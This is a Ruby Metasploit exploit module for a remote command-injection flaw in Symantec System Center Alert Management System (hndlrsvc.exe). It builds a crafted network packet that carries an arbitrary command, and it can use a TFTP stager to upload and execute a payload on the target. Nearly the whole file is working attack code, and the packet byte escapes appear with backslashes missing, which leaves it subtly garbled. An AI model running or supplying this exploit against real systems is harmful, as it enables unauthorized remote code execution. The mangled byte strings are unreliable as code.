##
# $Id: ams_hndlrsvc.rb 13591 2011-08-19 18:35:29Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = ExcellentRanking

	include Msf::Exploit::CmdStagerTFTP
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',
			'Description'    => %q{
					Symantec System Center Alert Management System is prone to a 
				remote command-injection vulnerability because the application fails 
				to properly sanitize user-supplied input.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13591 $',
			'References'     =>
				[
					[ 'OSVDB', '66807'],
					[ 'BID', '41959' ],
					[ 'URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt' ],
				],
			'Targets'       =>
				[
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						}
					]
				],
			'Privileged' => 'true',
			'Platform' => 'win',
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jul 26 2010'))

		register_options(
			[
				Opt::RPORT(38292),
				OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]), 
			], self.class)
	end

	def windows_stager

		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

		print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
		execute_cmdstager({ :temp => '.'})
		@payload_exe = payload_exe

		print_status("Attempting to execute the payload...")
		execute_command(@payload_exe)

	end

	def execute_command(cmd, opts = {})
	
		connect

		if ( cmd.length > 128 )
			raise RuntimeError,"Command strings greater then 128 characters will not be processed!"
		end

		string_uno  = Rex::Text.rand_text_alpha_upper(11)
		string_dos  = Rex::Text.rand_text_alpha_upper(rand(4) + 5)

		packet =  "xffxffxffxffxffxffxffxffx00x00"
		packet << "x02x00x95x94xc0xa8x02x64x00x00x00x00x00x00x00x00"
		packet << "xe8x03x00x00"
		packet << 'PRGXCNFG'
		packet << "x10x00x00x00"
		packet << "x00x00x00x00x04"
		packet << 'ALHDF'
		packet << "x00x00x01x00x00"
		packet << "x00x01x00x0ex00"
		packet << 'Risk Repaired'
		packet << "x00x25x00"
		packet << 'Symantec Antivirus Corporate Edition'
		packet << "x00xf9x1dx13x4ax3f"
		packet << [string_uno.length + 1].pack('v') + string_uno
		packet << "x00x08x08x0a"
		packet << "x00" + 'Risk Name'
		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
		packet << "x00" + string_dos
		packet << "x00x08x0ax00"
		packet << 'File Path'
		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
		packet << "x00" + string_dos
		packet << "x00x08x11x00"
		packet << 'Requested Action'
		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
		packet << "x00" + string_dos
		packet << "x00x08x0ex00"
		packet << 'Actual Action'
		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
		packet << "x00" + string_dos
		packet << "x00x08x07x00"
		packet << 'Logger'
		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
		packet << "x00" + string_dos
		packet << "x00x08x05x00"
		packet << 'User'
		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
		packet << "x00" + string_dos
		packet << "x00x08x09x00"
		packet << 'Hostname'
		packet << "x00x0ex00" + [string_uno.length + 1].pack('v') + string_uno
		packet << "x00x08x13x00"
		packet << 'Corrective Actions'
		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
		packet << "x00" + string_dos
		packet << "x00x00x07x08x12x00"
		packet << 'ConfigurationName'
		packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
		packet << "x00" + cmd
		packet << "x00x08x0cx00"
		packet << 'CommandLine'
		packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
		packet << "x00" + cmd
		packet << "x00x08x08x00"
		packet << 'RunArgs'
		packet << "x00x04x00x02x00"
		packet << "x20x00x03x05x00"
		packet << 'Mode'
		packet << "x00x04x00x02x00x00x00"
		packet << "x0ax0dx00"
		packet << 'FormatString'
		packet << "x00x02x00x00x00x08x12x00"
		packet << 'ConfigurationName'
		packet << "x00x02x00x00x00x08x0cx00"
		packet << 'HandlerHost'
		packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
		packet << "x00" + string_dos
		packet << "x00" * packet.length

		sock.put(packet)
	
		select(nil,nil,nil,3)	
		disconnect
	end

	def exploit

		if not datastore['CMD'].empty?
			print_status("Executing command '#{datastore['CMD']}'")
			execute_command(datastore['CMD'])
			return
		end

		case target['Platform']
			when 'win'
				windows_stager
			else
				raise RuntimeError, 'Target not supported.'
			end

		handler

	end
end